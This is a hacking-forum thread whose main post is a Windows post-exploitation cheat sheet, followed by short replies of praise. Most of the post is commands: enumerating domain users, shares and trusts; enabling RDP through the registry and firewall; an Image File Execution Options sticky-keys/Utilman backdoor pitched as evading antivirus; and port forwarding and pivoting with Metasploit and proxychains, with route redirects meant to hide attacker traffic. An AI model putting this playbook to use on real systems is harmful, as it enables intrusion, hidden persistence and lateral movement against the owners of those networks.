

Forum:[Hack Forums](#)

Thread: [Windows Information Gathering and Situational Awareness](#)

CyberStrike - October 8, 2017, 4:06 pm

Windows Information Gathering:

This is one of the most important things as there may be several network segments in a target network. One must remember that there are systems on a network that are “multi-homed” or are connected to more than one LAN segment on a target network. In addition an operator must be aware as to what kind of trail they are leaving behind, as this may give a defender information on the attacker.

Upon entering a target an operator must get situational awareness. The following tasks must be performed:

Windows:

Finding out about Windows:

Code sysinfo

Looking at Network

Code ipconfig /all

Pay attention to devices that may not be active as a machine maybe multi-homed

Find the local users

Code net user

Finding more information on particular user

Code net user Username

Find local groups

net localgroups

Finding more information on local group

Code net localgroups GroupName

Finding shares on local host

Code net view

net share

Find Domain

Code net view /Domain

Finding hosts in domain

Code net view /Domain:DomainName

Find global groups

Code net group "Domain Computers" /Domain
Mapping of Domain Controllers

Code nltest /dclist:domain
Mapping of Domain Trusts

Code nltest /domain trusts

nltest /ServerIP /domain_trusts

Trusts on a Domain can be used to quickly compromise machines for example if Host1 has a trust relationship with Host2, which you already are in you now can log into Host1 based upon that trust.

Shares on Domain

Code net share \\Target
Finding Name Servers that the target network references

Code nslookup ServerName
Remote Machine Group and User Enumeration

Code net group \\Target GroupName

net user \\Target UserName
Checking access to remote machine and issuing commands to a remote machines

This command allows you to check the directory of a remote machine and output to file.txt, then copy the file. (If this works you can go shopping for whatever file you want.)

Code dir /s /B \\Host\\Share\$ >file.txt

copy \\Host\\Share\$\\Dir\\file.txt Powershell does allow commands usually executed in cmd to be executed. Powershell is much more robust. A few good PowerShell commands are

Code Invoke-Netview

Invoke-Sharefinder

Invoke-MapDomainTrusts

Get-Help whatyouarelookingfor*

In Mimikatz there are other PowerShell commands available that can help speed up enumeration. It is strongly suggested that an operator gets familiar with tools before an engagement. Please refer to

<https://hackforums.net/showthread.php?tid=5732104>

Windows RDP:

Code reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f

Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

netsh advfirewall firewall set rule group="remote desktop" new enable=yes

netsh firewall add portopening TCP 3389 "Remote Desktop"
sc config "TermService"

start= auto net start "TermService"

Windows Backdooring RDP hijacking stickykeys and Utilman:

This technique avoids AV/WhiteListing and is activated when sticky keys are activated.

Code REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

IP Forwarding in Windows

Code netsh

interface ipv4 (can use ipv6 if needed)

show interfaces (you will see an "idx")

show interface idx#

set interface idx# forwarding=enabled

One liner edit as per target network

netsh interface portproxy add v4tov4 listenport=4422 listenaddress=192.168.1.111 connectport=80 connectaddress=192.168.0.33

Pivoting

Pivoting is when using the newly compromised target in order to send traffic from tools on an attackers computer into the target network.

Check the network config using ipconfig/ifconfig depending on the OS of the compromised target.

In Metasploit:

Code run autoroute -h

[*] Usage: run autoroute [-r] -s subnet -n netmask

[*] Examples:

[*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0

[*] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0

[*] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay

[*] run autoroute -p # Print active routing table

[*] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route

[*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes

run autoroute -s 10.10.10.0/24 (Using CIDR notation)

Adding a route in Linux and using ProxyChains (you must have pre-configured the conf file of ProxyChains before hand, and have a proxy running)

Shoe - October 8, 2017, 4:08 pm

Looks solid, paired with RTFM you'd be good to go.

CyberStrike - October 8, 2017, 4:14 pm

Pivot (Cont)

Step 1

In the meterpreter type

Code route add 10.10.10.0 255.255.255.0 1

The command above will add 10.10.10.1-255 on the subnet of 255.255.255.0 to session 1, of course you want to correspond this example to the network you are targeting.
or terminal

Code ip route add 192.168.1.0/24 dev eth0
Make sure these values reflect your target.

In metasploit you will run

Code use auxiliary/server/socks4a
set SRVHOST 127.0.0.1
run

Make sure this is relevant to your target.

Step 2

Edit the ProxyChains /etc/proxychains.conf to reflect the settings based upon the socks4a you pre-configured.

Code socks4 127.0.0.1 1080

Step 3

Running tools in Proxychains

Code proxychains nmap -Pn -sT -p445,3389 10.0.0.10

For each tool you run that is to be routed through the target network you will re-issue the proxychains command with the tool being used.

Code Proxychains firefox 10.0.0.10

Now you can surf using firefox to 10.0.0.10 which for example could be a internal server on the target network.

You must be Administrator in order to perform these commands on your local machine, if the commands do not work you are not the Administrator.

Assuming you are a localhost Administrator which is a must at this juncture, you will be looking for Operating system version, Network information, local user/groups, and global user/groups. Refer to <https://hackforums.net/showthread.php?tid=5726592> for priv esc tutorial.

Setting up redirects on target machine

After compromise we will want to redirect traffic from attackers to target machine within the network. This is used to hide our traffic. Refer to <https://hackforums.net/showthread.php?tid=5728866> for Red Team management.

Use the following command to get the index

Code Get-NetIPInterface -IncludeAllCompartments -InterfaceAlias *

Powershell example assuming that the machine compromised is 10.10.10.1 and the next target is 10.10.10.5 .

Code New-NetRoute -DestinationPrefix "10.10.10.1" -InterfaceIndex 12 -NextHop 10.10.10.5

Adding route in Windows through CMD & registry

Code route add 10.0.0.0 mask 255.0.0.0 192.168.0.1 metric 2
Using netsh to port forward and getting interface index numbers

Code route print

netsh int ipv4 add route <remote netid>/<remote netmask> <interface name> <next hop>
Redirection in CMD

Code route -p ADD 192.168.35.0 MASK 255.255.255.0 192.168.0.2

Registry

Routes added by using the -p option are stored in the Windows registry under the following key:
Code HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
\Parameters\PersistentRoutes
You also will want to start Routing and Remote Access service.

Edit: I forgot a couple of things so I added them.

Baud, I was going to post this next week but since you enjoy reading my tutorials I decided to post it early. Hope you enjoy. And thank you Shoe I appreciate the feedback.

Baud - October 11, 2017, 8:19 am

High quality thread as usual, I don't have much to add since this covers a lot of different things that are all useful to learn because can come in handy in several situations after having exploited a windows machine. There only are a couple errors related to tags, where you left the description of a command inside code tags, specifically for the "Find local groups" and "One liner edit as per target network" commands, but it's the only thing that I can really point out since the content in itself is very good, definitely a very useful resource for anyone interested in pentesting or hacking. Of course you'd already need to know how windows work to understand what these commands do, but it's to be expected if you look for post exploitation tutorials.

CyberStrike - October 11, 2017, 1:09 pm

Excellent I will fix the tags when I get a chance no worries there. Thank You

inkbird - October 15, 2017, 8:18 am

Wow! This is very usefull info and you've done an excellent job explaining everything.
Thanks man. Keep up the good work

CyberStrike - October 15, 2017, 2:47 pm

Excellent glad you liked it I do have several more Windows geared tutorials, right now I am doing the Linux tutorials.

Dimeblade - January 9, 2018, 10:40 am

Most of these commands very useful for win servers. Again massive thanks for well packed useful infos

CyberStrike - January 9, 2018, 3:04 pm

No problem I got several tutorials,although I posted I think one in Advanced Hacking under the

"Pentesting and Forensics" section, you can easily find all my threads, there are not too many but give them a read, always good to have others read it either to learn or even just to make sure everything is correct and accurate.

surenhohn - January 9, 2018, 3:12 pm

Using windows tools to stop windows spying on you is like asking the NSA to provide tools to stop a NSA-OS (Nsadows) from spying on you. Windoze is for games, youtube, shitter and instashit. Do you freedom fighting and everything you care/need to keep private at least with something remotely secure like some Linux distro.

CyberStrike - January 9, 2018, 7:32 pm

(Jan 9, 2018 04:12 PM)surenhohn Wrote: [\[CITE\]](#) Using windows tools to stop windows spying on you is like asking the NSA to provide tools to stop a NSA-OS (Nsadows) from spying on you. Windoze is for games, youtube, shitter and instashit. Do you freedom fighting and everything you care/need to keep private at least with something remotely secure like some Linux distro.

You didn't read anything above have you? Also Windows is what you will during most corporate pentests. Also you should take a bit of time to see how many serious vulnerabilities are found in Llinux/*BSD/OSX/Windows.

XmysteriousX - January 10, 2018, 4:47 am

Nic3 good to know all this code

CyberStrike - January 10, 2018, 8:03 pm

I tend to have notes that I compiled over the years probably pushing 50 pages I always am busy referring back and forth to it and then other cheatsheets I put together.